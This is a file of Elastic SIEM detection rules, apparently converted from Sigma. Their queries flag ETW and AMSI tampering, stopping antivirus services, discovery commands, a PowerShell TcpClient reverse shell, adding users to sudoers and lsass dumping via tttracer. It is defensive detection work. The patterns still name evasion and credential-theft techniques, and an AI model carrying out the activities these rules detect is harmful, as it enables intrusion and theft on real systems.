{"description": "Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting", "enabled": false, "false_positives": ["Legitimate use by an administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3a19063c-c430-3499-3ab9-6a809a6e0054", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of OpenConsole", "query": "((winlog.event_data.OriginalFileName:\"OpenConsole.exe\" OR process.executable:*\\\\OpenConsole.exe) AND (NOT (process.executable:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\Microsoft.WindowsTerminal*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of powershell cmdlets to disable or remove ETW trace sessions", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d4db900d-f828-fe4d-9618-e3d36e947052", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable of ETW Trace", "query": "(powershell.file.script_block_text:*Remove\\-EtwTraceProvider\\ * OR (powershell.file.script_block_text:*Set\\-EtwTraceProvider\\ * AND powershell.file.script_block_text:*0x11*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ba0c6e42-4283-f30a-b0f9-afa47c4a8396", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential AMSI Bypass Using NULL Bits - ScriptBlockLogging", "query": "ScriptBlockLogging:(*if\$0\$\\{\\{\\{0\\}\\}\\}'\\ \\-f\\ $\$0\\ \\-as\\ \\[char\\]\$\\ \\+* OR *#*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2369cbc1-695b-1d73-c3d4-fdc1eaa2a63b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential AMSI Bypass Using NULL Bits - ProcessCreation", "query": "process.command_line.text:(*if\$0\$\\{\\{\\{0\\}\\}\\}'\\ \\-f\\ $\$0\\ \\-as\\ \\[char\\]\$\\ \\+* OR *#*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services.\nAdversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d70a497d-b73c-f9e5-5e87-e15cb7ec714c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Stop Or Remove Antivirus Service", "query": "(process.command_line.text:(*Stop\\-Service\\ * OR *Remove\\-Service\\ *) AND process.command_line.text:(*\\ McAfeeDLPAgentService* OR *\\ Trend\\ Micro\\ Deep\\ Security\\ Manager* OR *\\ TMBMServer* OR *Sophos* OR *Symantec*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects usage of Sysinternals PsService for service reconnaissance or tamper", "enabled": false, "false_positives": ["Legitimate use of PsService by an administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "afc6648d-57a5-1736-91c9-28688e7049de", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of Sysinternals PsService", "query": "(winlog.event_data.OriginalFileName:\"psservice.exe\" OR process.executable:(*\\\\PsService.exe OR *\\\\PsService64.exe))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of system utilities (only grep and egrep for now) to discover security software discovery", "enabled": false, "false_positives": ["Legitimate activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5ac81c77-0f0e-1ec1-e713-a8808b0d3cee", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Security Software Discovery", "query": "(process.executable.text:(*\\/grep OR *\\/egrep) AND process.command_line.text:(*nessusd* OR *td\\-agent* OR *packetbeat* OR *filebeat* OR *auditbeat* OR *osqueryd* OR *cbagentd* OR *falcond*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1518"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1518", "name": "Software Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects usage of system utilities (only grep for now) to discover security software discovery", "enabled": false, "false_positives": ["Legitimate activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5ac81c77-0f0e-1ec1-e713-a8808b0d3cee", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Security Software Discovery", "query": "(process.executable:\"\\/usr\\/bin\\/grep\" AND (process.command_line:(*nessusd* OR *santad* OR *CbDefense* OR *falcond* OR *td\\-agent* OR *packetbeat* OR *filebeat* OR *auditbeat* OR *osqueryd* OR *BlockBlock* OR *LuLu*) OR (process.command_line:*Little* AND process.command_line:*Snitch*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1518"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1518", "name": "Software Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects usage of system utilities to discover files and directories", "enabled": false, "false_positives": ["Legitimate activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e1f9a808-11d6-8862-feeb-f905d3054de0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "File and Directory Discovery", "query": "((process.executable:*\\/file AND process.command_line:/(.){200,}/) OR (process.executable:*\\/ls AND process.command_line:*\\-R*) OR process.executable:*\\/find OR process.executable:*\\/tree)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects usage of system utilities to discover files and directories", "enabled": false, "false_positives": ["Legitimate activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e1f9a808-11d6-8862-feeb-f905d3054de0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "File and Directory Discovery", "query": "((process.executable:\"\\/usr\\/bin\\/file\" AND process.command_line:/(.){200,}/) OR (process.executable:\"\\/bin\\/ls\" AND process.command_line:*\\-R*) OR process.executable:\"\\/usr\\/bin\\/find\" OR process.executable:\"\\/usr\\/bin\\/mdfind\" OR process.executable:\"\\/tree\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects usage of system utilities to discover system network connections", "author": ["Daniil Yugoslavskiy", "oscd.community"], "enabled": false, "false_positives": ["Legitimate activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "eb000114-2e3e-2a89-e4d7-99423e72b900", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "System Network Connections Discovery - Linux", "query": "(process.executable.text:(*\\/who OR *\\/w OR *\\/last OR *\\/lsof OR *\\/netstat) AND (NOT process.parent.command_line.text:*\\/usr\\/bin\\/python* AND process.parent.command_line.text:*\\/usr\\/bin\\/landscape\\-sysinfo*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1049"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1049", "name": "System Network Connections Discovery", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of system utilities to discover system network connections", "author": ["Daniil Yugoslavskiy", "oscd.community"], "enabled": false, "false_positives": ["Legitimate activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1909f82a-c941-9e0b-a8b0-abcd60ede121", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "System Network Connections Discovery - MacOs", "query": "process.executable.text:(*\\/who OR *\\/w OR *\\/last OR *\\/lsof OR *\\/netstat)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1049"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1049", "name": "System Network Connections Discovery", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of the \"dir\" command that's part of windows batch/cmd to collect information about directories", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "88aeb85c-976f-9da9-a9b5-b13958ae56ee", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious DIR Execution", "query": "(process.command_line:*dir\\ * AND process.command_line:*\\ \\/s* AND process.command_line:*\\ \\/b*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1217"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1217", "name": "Browser Bookmark Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects usage of the \"systeminfo\" command to retrieve information", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d1786fcb-a2bc-db91-69fb-0cfb52761972", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Execution of Systeminfo", "query": "(process.executable:*\\\\systeminfo.exe OR winlog.event_data.OriginalFileName:\"sysinfo.exe\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1082"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1082", "name": "System Information Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects usage of the \"TcpClient\" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang \"Invoke-PowerShellTcpOneLine\" reverse shell.", "author": ["FPT.EagleEye", "wagga"], "enabled": false, "false_positives": ["Administrative might use this function to check network connectivity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a80301bd-90f2-ac2c-0966-addfe2cff715", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Powershell ReverseShell Connection", "query": "(((winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\")) OR (process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe))) AND (process.command_line.text:*\\ System.Net.Sockets.TCPClient* AND process.command_line.text:*.GetBytes* AND process.command_line.text:*.Write*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of the \"usermod\" binary to add users add users to the root or suoders groups", "author": ["TuanLe (GTSC)"], "enabled": false, "false_positives": ["Legitimate administrator activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "93ba9bf5-f665-eb07-a906-7f0412ba88ac", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "User Added To Root/Sudoers Group Using Usermod", "query": "(process.executable.text:*\\/usermod AND process.command_line.text:(*\\-aG\\ root* OR *\\-aG\\ sudoers*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument from suspicious paths", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e4b9f7e7-4502-f889-f69c-cb5512f226ee", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Wusa Extracting Cab Files From Suspicious Paths", "query": "(process.executable.text:*\\\\wusa.exe AND process.command_line.text:*\\/extract\\:* AND process.command_line.text:(*C\\:\\\\Users\\\\Public\\\\* OR *\\\\Desktop\\\\* OR *\\\\Downloads\\\\* OR *\\\\Appdata\\\\Local\\\\Temp\\\\* OR *\\\\Windows\\\\Temp\\\\* OR *\\\\PerfLogs\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of the built-in PowerShell cmdlet \"Enable-WindowsOptionalFeature\" used as a Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cf21c3c0-5c45-252f-6829-f611ecf4e492", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Suspicious Windows Feature Enabled", "query": "(powershell.file.script_block_text:*Enable\\-WindowsOptionalFeature* AND powershell.file.script_block_text:*\\-Online* AND powershell.file.script_block_text:*\\-FeatureName* AND powershell.file.script_block_text:(*TelnetServer* OR *Internet\\-Explorer\\-Optional\\-amd64* OR *TFTP* OR *SMB1Protocol* OR *Client\\-ProjFS* OR *Microsoft\\-Windows\\-Subsystem\\-Linux*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of the built-in PowerShell cmdlet \"Enable-WindowsOptionalFeature\" used as a Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2d5f3259-918c-fc43-933b-8cf22fc70245", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Suspicious Windows Feature Enabled - ProcCreation", "query": "(process.command_line.text:*Enable\\-WindowsOptionalFeature* AND process.command_line.text:*\\-Online* AND process.command_line.text:*\\-FeatureName* AND process.command_line.text:(*TelnetServer* OR *Internet\\-Explorer\\-Optional\\-amd64* OR *TFTP* OR *SMB1Protocol* OR *Client\\-ProjFS* OR *Microsoft\\-Windows\\-Subsystem\\-Linux*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of the 'chattr' utility to remove immutable file attribute.", "enabled": false, "false_positives": ["Administrator interacting with immutable files (e.g. for instance backups)."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "73403230-18cb-4f44-d30f-2f2908a4ec23", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remove Immutable File Attribute", "query": "(process.executable.text:*\\/chattr AND process.command_line.text:*\\ \\-i\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1222"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1222", "name": "File and Directory Permissions Modification", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of the 'crontab' utility to remove the current crontab. This is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b1e20026-1892-2468-2a35-914f21e5f9a1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remove Scheduled Cron Task/Job", "query": "(process.executable.text:*crontab AND process.command_line.text:*\\ \\-r*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", "enabled": false, "false_positives": ["Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1896ae6c-4a84-5986-1353-0893b5fbb553", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Computer Discovery And Export Via Get-ADComputer Cmdlet", "query": "((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) OR winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\")) AND (process.command_line.text:*Get\\-ADComputer\\ * AND process.command_line.text:*\\ \\-Filter\\ \\*) AND process.command_line.text:(*\\ >\\ * OR *Out\\-File* OR *Set\\-Content* OR *Add\\-Content*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file", "enabled": false, "false_positives": ["Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e9dfe8e0-ec58-5cb3-e25c-5d44c34e1978", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "User Discovery And Export Via Get-ADUser Cmdlet", "query": "((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) OR winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\")) AND (process.command_line.text:*Get\\-ADUser\\ * AND process.command_line.text:*\\ \\-Filter\\ \\*) AND process.command_line.text:(*\\ >\\ * OR *Out\\-File* OR *Set\\-Content* OR *Add\\-Content*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of the wevtutil utility to perform reconnaissance", "enabled": false, "false_positives": ["Legitmate usage of the utility by administrators to query the event log"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0f640423-c610-0b85-d514-ef8e4df47474", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Wevtutil Recon", "query": "(process.executable.text:*\\\\wevtutil.exe AND process.command_line.text:(*\\ qe\\ * OR *\\ query\\-events\\ *) AND process.command_line.text:(*Microsoft\\-Windows\\-TerminalServices\\-LocalSessionManager\\/Operational* OR *Microsoft\\-Windows\\-Terminal\\-Services\\-RemoteConnectionManager\\/Operational*))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam.\nThe usage of this RPC function should be rare if ever used at all.\nThus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate.\n View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'\n", "enabled": false, "false_positives": ["Uncommon but legitimate windows administrator or software tasks that make use of the Encrypting File System RPC Calls. Verify if this is common activity (see description)."], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "9e6d313c-93a8-2618-1fb3-d32a614cbe38", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential PetitPotam Attack Via EFS RPC Calls", "query": "(event.dataset:\"dce_rpc\" AND dce_rpc.operation:(Efs* OR efs*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1187", "T1557"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["@neu5ron", "@Antonlovesdnb", "Mike Remen"], "license": ""}
{"description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", "enabled": false, "false_positives": ["Legitimate usage by software developers/testers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f82e0d6f-5d50-49c3-23d2-1d61579bddb0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Time Travel Debugging Utility Usage", "query": "dll.path:(*\\\\ttdrecord.dll OR *\\\\ttdwriter.dll OR *\\\\ttdloader.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Defense Evasion", "T1003", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Ensar \u015eamil", "@sblmsrsn", "@oscd_initiative"], "license": ""}
{"description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", "enabled": false, "false_positives": ["Legitimate usage by software developers/testers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f82e0d6f-5d50-49c3-23d2-1d61579bddb0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Time Travel Debugging Utility Usage", "query": "process.parent.executable.text:*\\\\tttracer.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Defense Evasion", "T1003", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Ensar \u015eamil", "@sblmsrsn", "@oscd_initiative"], "license": ""}
{"description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", "enabled": false, "false_positives": ["Legitimate usage by software developers/testers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f82e0d6f-5d50-49c3-23d2-1d61579bddb0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Time Travel Debugging Utility Usage", "query": "process.parent.executable:*\\\\tttracer.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Defense Evasion", "T1003", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Ensar \u015eamil", "@sblmsrsn", "@oscd_initiative"], "license": ""}
